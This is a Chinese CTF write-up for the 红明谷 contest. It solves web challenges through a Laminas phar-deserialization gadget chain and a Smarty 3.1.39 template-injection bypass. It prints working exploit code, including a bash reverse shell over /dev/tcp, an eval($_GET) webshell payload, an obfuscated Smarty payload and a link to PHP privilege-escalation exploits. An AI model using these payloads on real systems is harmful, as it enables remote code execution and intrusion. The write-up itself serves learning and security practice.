WP - 红明谷(大部分赛后复现
misc
签到
flag{Dat@5ecurity}
MissingFile
直接strings
flag{Hide_Behind_Windows}
web
fun Fan website
搞下来源码
网站源码是Laminas的
基本的poc可以参考文章中给出的RCE2.
接下来就是漫长的寻找可控参数的过程。
主要也是刚开始审计,像mvc这种框架不是特别敏感,
其实文章在介绍如何触发作者自己设置的反序列化的点时介绍了访问Action的方法。
这里翻阅一下开发文档就知道,这个框架的路由都是写在module\Application\config\module.config.php
中的。那就是参考一下,这上面有个album,就很明显是一个可疑点,应该审计一下的。
基本上在/module/Album/src/Controller/AlbumController.php就有这次比赛的关键点
问题代码
大佬说主要是他有个unlink,所以想到用phar去触发,(不懂???????
这里有个上传的地方,生成phar文件后为了绕过preg_match("/<\?|php|HALT\_COMPILER/i", $cont )
,
参考https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751423&idx=3&sn=f28b211266035a210fac9b51bf823b22&chksm=888ccf10bffb4606a568d0b990ac1fe2da67d47fcc605e78719f2c0e6e2910c336227a28dad7#rd, (可以在这里学学怎么自己去构造exp
使用gzip压缩绕过
gzip hhh.phar
后面的size随便搞搞就行,参考队内老哥的wp。
import random
def ranstr(num):
H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
salt = ''
for i in range(num):
salt += random.choice(H)
return salt
salt = ranstr(12000)
print (salt)
exp
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = array("setBody"=>"system");
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = array("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = array(new \Laminas\Log\Writer\Mail());
}
}
}
namespace{
@unlink("hhh.phar");
$test = new \Laminas\Log\Logger();
//$test = base64_encode(serialize($test));
$phar = new Phar("hhh.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt","chR5clX....pHrTzViFwBriftg");
$phar->stopBuffering();
}
?>
访问/album/imgupload,把hhh.phar.gz后缀改为.jpg绕过文件名的检测,获取图片地址。
访问/album/imagedelete,
post
?img=phar://图片地址
即可触发反序列化。
赛后打通。
参考
https://www.wangan.com/p/7fygf7a00f0fd793
https://blog.csdn.net/solitudi/article/details/113588692(这里面的那个绕过好像没啥用
Smarty_calculator
www.zip下载源码
看见这个计算器的框可以想到估计是ssti,百度一波。
{$smarty.version}版本3.1.39
题目过滤了php、<、flag、?
Smarty支持使用
{php}{/php}
标签来执行被包裹其中的php指令{php}phpinfo();{/php}
显然咱们这里不行
在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal} 标签
官方手册这样描述这个标签:
{literal}
可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。那么对于php5的环境我们就可以使用
// 从PHP7开始,这种写法,已经不支持了
来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。
https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71
https://github.com/smarty-php/smarty/blob/v3.1.39/CHANGELOG.md
利用{function name='blah'}{/function}
使用文件比对工具BeyondCompare比较题目的源码和同版本smarty的差别
结果发现wwwsrcSmartysyspluginssmarty_internal_compile_function.php的代码有差异
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}
在断点处测试一下绕过正则,发现换行可以绕过。
.*
可以使用%0A%20
绕过$匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,请使用 $。
{function name='blah'}{/function}
data={function name=}{/function}
payload
data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D
Ps
- 蚁剑的get一句话木马没法直接连,可以
?1=eval($_GET[1]_);
解决- 蚁剑添加请求的时候name是不会url编码的啊啊啊啊,value会编码,具体的原因如下图(这是五条师傅分析的图
解决——在name字段填上url编码后的data值。value写不写都行。
popen(※
<?php popen("whoami>>lalala","r");?>
- github的commit※
data=eval%3A%7B%24a+%3D+%220%22%7D%7B%24b+%3D+%220%22%7D%7B%24c+%3D+%220%22%7D%7Bmath+equation%3D%22('%25%38%25%23'^'%40%40%40%40')('%37%36%31%21%33%37'^'%40%5e%5e%40%5e%5e')%22+format%3D%22re%25s%22%7D
别人的payload
应该就是利用下图给的payload进行操作,看其他师傅提的应该是需要无字母数字绕一下
- uaf的php源码进行攻击※
https://github.com/mm0r1/exploits
相当于是获得靶机一定权限后,上传该exp可以扩大权限,再触发即可。(
include('/tmp/1.php')
参考
https://mp.weixin.qq.com/s/TYYdCbaruT6tdCvZtO6QVw
https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m
https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71